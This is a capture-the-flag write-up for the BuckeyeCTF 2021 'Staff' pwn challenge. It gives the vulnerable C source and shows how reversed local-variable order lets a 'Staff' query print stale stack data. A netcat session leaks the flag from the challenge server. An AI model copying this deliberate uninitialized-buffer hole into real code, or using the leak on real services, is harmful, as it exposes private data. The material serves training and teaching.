woman looking at a computer program and it reflecting on her glasses

BuckeyeCTF 2021 Staff

Top News12/09/2020

By Lucas Di Martino

In this challenge we abused uninitialized buffers on the stack to leak the flag by carefully calling functions from the main menu.

Details

  • Category : pwn
  • Points : 25
  • Solves: 192

Description

Dr. Staff will see you now…

nc pwn.chall.pwnoh.io 13383

Source code :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct Course {
    char name[0x20];
    char instructor[0x20];
    int is_staff;
};

static void find_instructor(struct Course *courses, int course_count);
static void find_course(struct Course *courses, int course_count);
static void handle_option(int choice, struct Course *courses, int course_count);

#define NUM_COURSES 50

int main(int argc, char** argv) {
    struct Course courses[NUM_COURSES];

    setvbuf(stdout, NULL, _IONBF, 0); // turn off buffered output

    FILE *fin = fopen("sp22.txt", "r");
    if (!fin) {
        printf("Failed to open sp22.txt\n");
        return 0;
    }

    // Read in courses and instructors
    int course_count = 0;
    while (course_count < NUM_COURSES) {
        char *s = fgets(courses[course_count].name, 0x20, fin);
        if (!s) break;
        s[strcspn(s, "\n")] = 0; // remove newline
        
        s = fgets(courses[course_count].instructor, 0x20, fin);
        if (!s) break;
        s[strcspn(s, "\n")] = 0; // remove newline
        
        courses[course_count].is_staff = 1; // always hide instructors from students until the week before classes
        course_count++;
    }

    while (1) {
        printf("What would you like to do?\n1. Search for a course\n2. Search for an instructor\n> ");
        int choice;
        if (scanf("%d", &choice) != 1) break;
        getc(stdin); // get newline
        handle_option(choice, courses, course_count);
    }
}

static void handle_option(int choice, struct Course *courses, int course_count) {
    switch (choice) {
        case 1:
            find_course(courses, course_count);
            break;
        case 2:
            find_instructor(courses, course_count);
            break;
        default:
            printf("bad choice\n");
            break;
    }
}

static void find_instructor(struct Course *courses, int course_count) {
    char instructor[0x20];
    char course[0x20];

    printf("What instructor would you like to look up?\n> ");
    char *s = fgets(instructor, 0x20, stdin);
    if (!s) return;
    s[strcspn(s, "\n")] = 0; // remove newline

    if (strcmp(instructor, "Staff") == 0) {
        printf("There were %d results, please be more specific in your search.\n", course_count);
    } else {
        int i;
        for (i=0; i<course_count; i++) {
            if (strcmp(instructor, courses[i].instructor) == 0) {
                strncpy(course, courses[i].name, 0x20);
                break;
            }
        }
        if (i == course_count) {
            printf("We couldn't find your instructor.\n");
            return;
        }
    }

    printf("Professor %s will teach %s, but we'll probably change our minds the week before classes start.\n", instructor, course);
} 

static void find_course(struct Course *courses, int course_count) {
    char course[0x20];
    char instructor[0x20];

    printf("What course would you like to look up?\n> ");
    char *s = fgets(course, 0x20, stdin);
    if (!s) return;
    s[strcspn(s, "\n")] = 0; // remove newline

    int i;
    for (i=0; i<course_count; i++) {
        if (strcmp(course, courses[i].name) == 0) {
            strncpy(instructor, courses[i].instructor, 0x20);
            break;
        }
    }

    if (i == course_count) {
        printf("Sorry, we couldn't find your course.\n");
        return;
    }

    if (courses[i].is_staff) {
        printf("This course will be taught by: Staff\n");
    } else {
        printf("This course will be taught by: %s\n", instructor);
    }
}

Understanding the problem

In this challenge, the program reads a file which contains a list of courses and instructors. One of the instructor is the flag.

CSE 2221
Bucci
CSE 2231
Bucci
CSE 2331
Zaccai
FLAG 1337
buckeye{this_is_a_fake_flag}
CSE 2421
Kirby
CSE 2431
Babic

The import thing to notice in the code above is :

static void find_instructor(struct Course *courses, int course_count) {
    char instructor[0x20];
    char course[0x20];
    // ...
}
static void find_course(struct Course *courses, int course_count) {
    char course[0x20];
    char instructor[0x20];
    // ...
}

The order of the variables instructor and course in the functions find_instructor and find_course is reversed and that is really important because it allows us to leak the flag.

So, to get the flag, we have to ask for the instructor of the course FLAG 1337 but the print statement won’t be reach because of the condition :

 if (courses[i].is_staff) {
        printf("This course will be taught by: Staff\n");
 }

Solving the problem

To solve this challenge, we simply have to call the functions in the right order with the right parameters.

Indeed, if we ask for the instructor of the course FLAG 1337 the variables on the stack will be filled like this:

course     := "FLAG 1337"
instructor := "buckeye{this_is_a_fake_flag}"

But the instructor variable won’t be printed.

Now, if we call the find_instructor function the variables will look like this:

instructor := "FLAG 1337"
course     := "buckeye{this_is_a_fake_flag}"

This function ask for the instructor that we are looking for. If the instructor is “Staff” then the course variable is not overwrite and its content is printed. That’s exactly what we want!

To resume, to solve this challenge we simply have to call the functions in the right orders with the rights arguments.

Implementing the solution

$ nc pwn.chall.pwnoh.io 13383
What would you like to do?
1. Search for a course
2. Search for an instructor
> 1
What course would you like to look up?
> FLAG 1337
This course will be taught by: Staff
What would you like to do?
1. Search for a course
2. Search for an instructor
> 2
What instructor would you like to look up?
> Staff
There were 6 results, please be more specific in your search.
Professor Staff will teach buckeye{if_0n1y_th15_w0rk3d}, but we\'ll probably change our minds the week before classes start.

Flag : buckeye{if_0n1y_th15_w0rk3d}

Our news